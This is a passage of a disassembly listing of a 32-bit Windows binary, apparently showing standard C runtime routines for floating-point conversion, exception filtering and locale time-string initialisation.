edx, [ebp+var_18] push edx call sub_429DE0 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+0Ch] add ecx, 1 push ecx lea edx, [ebp+var_18] push edx call sub_429F80 add esp, 8 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp short loc_42A24C ; --------------------------------------------------------------------------- loc_42A1D0: ; CODE XREF: sub_42A070+F9j mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] cmp ecx, [eax] jl short loc_42A21B lea edx, [ebp+var_18] push edx call sub_429F10 add esp, 4 mov eax, [ebp+var_18] or eax, 80000000h mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_429F80 add esp, 8 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_8] add edx, [eax+14h] mov [ebp+var_8], edx mov [ebp+var_1C], 1 jmp short loc_42A24C ; --------------------------------------------------------------------------- loc_42A21B: ; CODE XREF: sub_42A070+168j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+14h] mov [ebp+var_8], edx mov eax, [ebp+var_18] and eax, 7FFFFFFFh mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_429F80 add esp, 8 mov [ebp+var_1C], 0 loc_42A24C: ; CODE XREF: sub_42A070:loc_42A0FBj ; sub_42A070+EBj ... mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] add edx, 1 mov eax, 20h sub eax, edx mov [ebp+var_C], eax mov edx, [ebp+var_8] mov ecx, [ebp+var_C] shl edx, cl mov eax, [ebp+var_18] or eax, edx mov ecx, [ebp+var_20] neg ecx sbb ecx, ecx and ecx, 80000000h or eax, ecx mov [ebp+var_24], eax mov edx, [ebp+arg_8] cmp dword ptr [edx+10h], 40h jnz short loc_42A29A mov eax, [ebp+arg_4] mov ecx, [ebp+var_24] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_14] mov [edx], eax jmp short loc_42A2AB ; --------------------------------------------------------------------------- loc_42A29A: ; CODE XREF: sub_42A070+215j mov ecx, [ebp+arg_8] cmp dword ptr [ecx+10h], 20h jnz short loc_42A2AB mov edx, [ebp+arg_4] mov eax, [ebp+var_24] mov [edx], eax loc_42A2AB: ; CODE XREF: sub_42A070+228j ; sub_42A070+231j mov eax, [ebp+var_1C] mov esp, ebp pop ebp retn sub_42A070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A2C0 proc near ; CODE XREF: sub_42A3C0+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_444600 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A070 add esp, 0Ch pop ebp retn sub_42A2C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A2E0 proc near ; CODE XREF: sub_42A440+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_444618 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A070 add esp, 0Ch pop ebp retn sub_42A2E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A300 proc near ; CODE XREF: ___:0042A42Ap ; ___:0042DFAFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh mov word ptr [ebp+var_4], cx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_10], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_8], eax push 40h lea ecx, [ebp+var_10] push ecx call sub_429DE0 add esp, 8 test eax, eax jz short loc_42A377 mov [ebp+var_10], 80000000h mov dx, word ptr [ebp+var_4] add dx, 1 mov word ptr [ebp+var_4], dx loc_42A377: ; CODE XREF: sub_42A300+62j mov eax, [ebp+var_4] and eax, 0FFFFh cmp eax, 7FFFh jnz short loc_42A38D mov [ebp+var_14], 1 loc_42A38D: ; CODE XREF: sub_42A300+84j mov ecx, [ebp+arg_4] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_4] and eax, 0FFFFh or edx, eax mov ecx, [ebp+arg_4] mov [ecx+8], dx mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_42A300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A3C0 proc near ; CODE XREF: sub_423670+14p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_42D450 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_42A2C0 add esp, 8 mov esp, ebp pop ebp retn sub_42A3C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax lea ecx, [ebp-10h] push ecx lea edx, [ebp-0Ch] push edx call sub_42D450 add esp, 1Ch mov eax, [ebp+8] push eax lea ecx, [ebp-0Ch] push ecx call sub_42A300 add esp, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A440 proc near ; CODE XREF: sub_423670+34p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_42D450 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_42A2E0 add esp, 8 mov esp, ebp pop ebp retn sub_42A440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A480 proc near ; CODE XREF: sub_4236C0+4Dp ; sub_4238B0+45p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] mov [ebp+var_8], edx mov eax, [ebp+var_4] mov byte ptr [eax], 30h mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42A4A4: ; CODE XREF: sub_42A480+69j cmp [ebp+arg_4], 0 jle short loc_42A4EB mov edx, [ebp+var_8] movsx eax, byte ptr [edx] test eax, eax jz short loc_42A4C8 mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax jmp short loc_42A4CF ; --------------------------------------------------------------------------- loc_42A4C8: ; CODE XREF: sub_42A480+32j mov [ebp+var_C], 30h loc_42A4CF: ; CODE XREF: sub_42A480+46j mov ecx, [ebp+var_4] mov dl, byte ptr [ebp+var_C] mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_42A4A4 ; --------------------------------------------------------------------------- loc_42A4EB: ; CODE XREF: sub_42A480+28j mov edx, [ebp+var_4] mov byte ptr [edx], 0 cmp [ebp+arg_4], 0 jl short loc_42A534 mov eax, [ebp+var_8] movsx ecx, byte ptr [eax] cmp ecx, 35h jl short loc_42A534 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42A50B: ; CODE XREF: sub_42A480+A5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_42A527 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_42A50B ; --------------------------------------------------------------------------- loc_42A527: ; CODE XREF: sub_42A480+94j mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 1 mov eax, [ebp+var_4] mov [eax], dl loc_42A534: ; CODE XREF: sub_42A480+75j ; sub_42A480+80j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 31h jnz short loc_42A550 mov eax, [ebp+arg_8] mov ecx, [eax+4] add ecx, 1 mov edx, [ebp+arg_8] mov [edx+4], ecx jmp short loc_42A576 ; --------------------------------------------------------------------------- loc_42A550: ; CODE XREF: sub_42A480+BDj mov eax, [ebp+arg_0] add eax, 1 push eax call sub_414BE0 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] add ecx, 1 push ecx mov edx, [ebp+arg_0] push edx call sub_4197C0 add esp, 0Ch loc_42A576: ; CODE XREF: sub_42A480+CEj mov esp, ebp pop ebp retn sub_42A480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A580 proc near ; CODE XREF: sub_4236C0+1Ep ; sub_4238B0+1Ep ... var_28 = word ptr -28h var_26 = byte ptr -26h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_42A600 add esp, 8 lea edx, [ebp+var_28] push edx push 0 push 11h sub esp, 0Ch mov eax, esp mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_8] mov [eax+4], edx mov cx, [ebp+var_4] mov [eax+8], cx call sub_42DFD0 add esp, 18h mov edx, [ebp+arg_8] mov [edx+8], eax movsx eax, [ebp+var_26] mov ecx, [ebp+arg_8] mov [ecx], eax movsx edx, [ebp+var_28] mov eax, [ebp+arg_8] mov [eax+4], edx lea ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_4184C0 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_42A580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A600 proc near ; CODE XREF: sub_42A580+Ep var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], 80000000h mov word ptr [ebp+var_4], 0 mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+6] and ecx, 7FF0h sar ecx, 4 mov word ptr [ebp+var_14], cx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_4] mov edx, [ecx+4] and edx, 0FFFFFh mov [ebp+var_8], edx mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+var_14] and edx, 0FFFFh mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jz short loc_42A677 cmp [ebp+var_1C], 7FFh jz short loc_42A66F jmp short loc_42A6BA ; --------------------------------------------------------------------------- loc_42A66F: ; CODE XREF: sub_42A600+6Bj mov word ptr [ebp+var_4], 7FFFh jmp short loc_42A6D5 ; --------------------------------------------------------------------------- loc_42A677: ; CODE XREF: sub_42A600+62j cmp [ebp+var_8], 0 jnz short loc_42A6A4 cmp [ebp+var_10], 0 jnz short loc_42A6A4 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov word ptr [edx+8], 0 jmp loc_42A75E ; --------------------------------------------------------------------------- loc_42A6A4: ; CODE XREF: sub_42A600+7Bj ; sub_42A600+81j movsx eax, word ptr [ebp+var_14] add eax, 3C01h mov word ptr [ebp+var_4], ax mov [ebp+var_C], 0 jmp short loc_42A6D5 ; --------------------------------------------------------------------------- loc_42A6BA: ; CODE XREF: sub_42A600+6Dj mov cx, word ptr [ebp+var_14] sub cx, 3FFh mov word ptr [ebp+var_14], cx movsx edx, word ptr [ebp+var_14] add edx, 3FFFh mov word ptr [ebp+var_4], dx loc_42A6D5: ; CODE XREF: sub_42A600+75j ; sub_42A600+B8j mov eax, [ebp+var_8] shl eax, 0Bh mov ecx, [ebp+var_C] or ecx, eax mov edx, [ebp+var_10] shr edx, 15h or ecx, edx mov eax, [ebp+arg_0] mov [eax+4], ecx mov ecx, [ebp+var_10] shl ecx, 0Bh mov edx, [ebp+arg_0] mov [edx], ecx loc_42A6F9: ; CODE XREF: sub_42A600+142j mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 80000000h test ecx, ecx jnz short loc_42A744 mov edx, [ebp+arg_0] mov eax, [edx+4] shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 80000000h neg edx sbb edx, edx neg edx or eax, edx mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx] shl eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov dx, word ptr [ebp+var_4] sub dx, 1 mov word ptr [ebp+var_4], dx jmp short loc_42A6F9 ; --------------------------------------------------------------------------- loc_42A744: ; CODE XREF: sub_42A600+107j mov eax, [ebp+var_18] and eax, 0FFFFh mov ecx, [ebp+var_4] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+8], ax loc_42A75E: ; CODE XREF: sub_42A600+9Fj mov esp, ebp pop ebp retn sub_42A600 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 call sub_41A9A0 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A780 proc near ; DATA XREF: sub_42A7E0+3o ; ___:00444260o ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] cmp dword ptr [ecx], 0E06D7363h jnz short loc_42A7AE mov edx, [ebp+arg_0] mov eax, [edx] cmp dword ptr [eax+10h], 3 jnz short loc_42A7AE mov ecx, [ebp+arg_0] mov edx, [ecx] cmp dword ptr [edx+14h], 19930520h jnz short loc_42A7AE call sub_424890 loc_42A7AE: ; CODE XREF: sub_42A780+Ej ; sub_42A780+19j ... cmp dword_4DB3C4, 0 jz short loc_42A7D5 mov eax, dword_4DB3C4 push eax call sub_42A880 add esp, 4 test eax, eax jz short loc_42A7D5 mov ecx, [ebp+arg_0] push ecx call dword_4DB3C4 jmp short loc_42A7D7 ; --------------------------------------------------------------------------- loc_42A7D5: ; CODE XREF: sub_42A780+35j ; sub_42A780+47j xor eax, eax loc_42A7D7: ; CODE XREF: sub_42A780+53j pop ebp retn 4 sub_42A780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A7E0 proc near ; DATA XREF: ___:00436024o push ebp mov ebp, esp push offset sub_42A780 nop call near ptr 2641E8Fh mov dword_4DB3C4, eax pop ebp retn sub_42A7E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A800 proc near ; DATA XREF: ___:0043603Co push ebp mov ebp, esp mov eax, dword_4DB3C4 push eax call near ptr 2641E8Fh nop pop ebp retn sub_42A800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A820 proc near ; CODE XREF: sub_423CD0+9Ep ; sub_4244E0+77p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx nop call near ptr 2821B33h test eax, eax jz short loc_42A844 mov [ebp+var_4], 0 loc_42A844: ; CODE XREF: sub_42A820+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42A820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A850 proc near ; CODE XREF: sub_4244E0+89p ; sub_4244E0+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx nop call near ptr 28215EBh test eax, eax jz short loc_42A874 mov [ebp+var_4], 0 loc_42A874: ; CODE XREF: sub_42A850+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42A850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A880 proc near ; CODE XREF: sub_4244E0+1E2p ; sub_42A780+3Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_0] push eax nop call near ptr 2641DF9h test eax, eax jz short loc_42A8A0 mov [ebp+var_4], 0 loc_42A8A0: ; CODE XREF: sub_42A880+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42A880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A8B0 proc near ; CODE XREF: sub_4248FEp push ebp mov ebp, esp push 0Ah call sub_426B80 add esp, 4 push 16h call sub_427350 add esp, 4 push 3 call sub_417960 pop ebp retn sub_42A8B0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A8D0 proc near ; DATA XREF: ___:004443C4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4DB1C4, 0 jz loc_42A971 push 48h push offset aInittime_c ; "inittime.c" push 2 push 0ACh push 1 call sub_4151E0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42A90C mov eax, 1 jmp loc_42A9A7 ; --------------------------------------------------------------------------- loc_42A90C: ; CODE XREF: sub_42A8D0+30j mov eax, [ebp+var_4] push eax call sub_42A9B0 add esp, 4 test eax, eax jz short loc_42A93D mov ecx, [ebp+var_4] push ecx call sub_42AF40 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_415860 add esp, 8 mov eax, 1 jmp short loc_42A9A7 ; --------------------------------------------------------------------------- loc_42A93D: ; CODE XREF: sub_42A8D0+4Aj mov eax, [ebp+var_4] mov off_444DA8, eax mov ecx, dword_4DB3C8 push ecx call sub_42AF40 add esp, 4 push 2 mov edx, dword_4DB3C8 push edx call sub_415860 add esp, 8 mov eax, [ebp+var_4] mov dword_4DB3C8, eax xor eax, eax jmp short loc_42A9A7 ; --------------------------------------------------------------------------- loc_42A971: ; CODE XREF: sub_42A8D0+Bj mov off_444DA8, offset off_444DB0 mov ecx, dword_4DB3C8 push ecx call sub_42AF40 add esp, 4 push 2 mov edx, dword_4DB3C8 push edx call sub_415860 add esp, 8 mov dword_4DB3C8, 0 xor eax, eax loc_42A9A7: ; CODE XREF: sub_42A8D0+37j ; sub_42A8D0+6Bj ... mov esp, ebp pop ebp retn sub_42A8D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A9B0 proc near ; CODE XREF: sub_42A8D0+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], 0 xor eax, eax mov ax, word_4DB402 mov [ebp+var_4], eax xor ecx, ecx mov cx, word_4DB404 mov [ebp+var_8], ecx cmp [ebp+arg_0], 0 jnz short loc_42A9E2 or eax, 0FFFFFFFFh jmp loc_42AF3B ; --------------------------------------------------------------------------- loc_42A9E2: ; CODE XREF: sub_42A9B0+28j mov edx, [ebp+arg_0] add edx, 4 push edx push 31h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8 push edx push 32h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0Ch push edx push 33h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 34h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 35h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 36h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] push edx push 37h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 20h push edx push 2Ah mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 2Bh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 2Ch mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 2Dh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 30h push edx push 2Eh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 34h push edx push 2Fh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 30h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 38h push edx push 44h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 3Ch push edx push 45h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 40h push edx push 46h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 44h push edx push 47h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 48h push edx push 48h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 4Ch push edx push 49h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 50h push edx push 4Ah mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 54h push edx push 4Bh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 58h push edx push 4Ch mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 5Ch push edx push 4Dh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 60h push edx push 4Eh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 64h push edx push 4Fh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 68h push edx push 38h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 6Ch push edx push 39h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 70h push edx push 3Ah mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 74h push edx push 3Bh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 78h push edx push 3Ch mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 7Ch push edx push 3Dh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 80h push edx push 3Eh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 84h push edx push 3Fh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 88h push edx push 40h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8Ch push edx push 41h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 90h push edx push 42h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 94h push edx push 43h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 98h push edx push 28h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 9Ch push edx push 29h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A0h push edx push 1Fh mov eax, [ebp+var_8] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A4h push edx push 20h mov eax, [ebp+var_8] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A8h push edx push 1003h mov eax, [ebp+var_8] push eax push 1 call sub_42F960 add esp, 10h mov 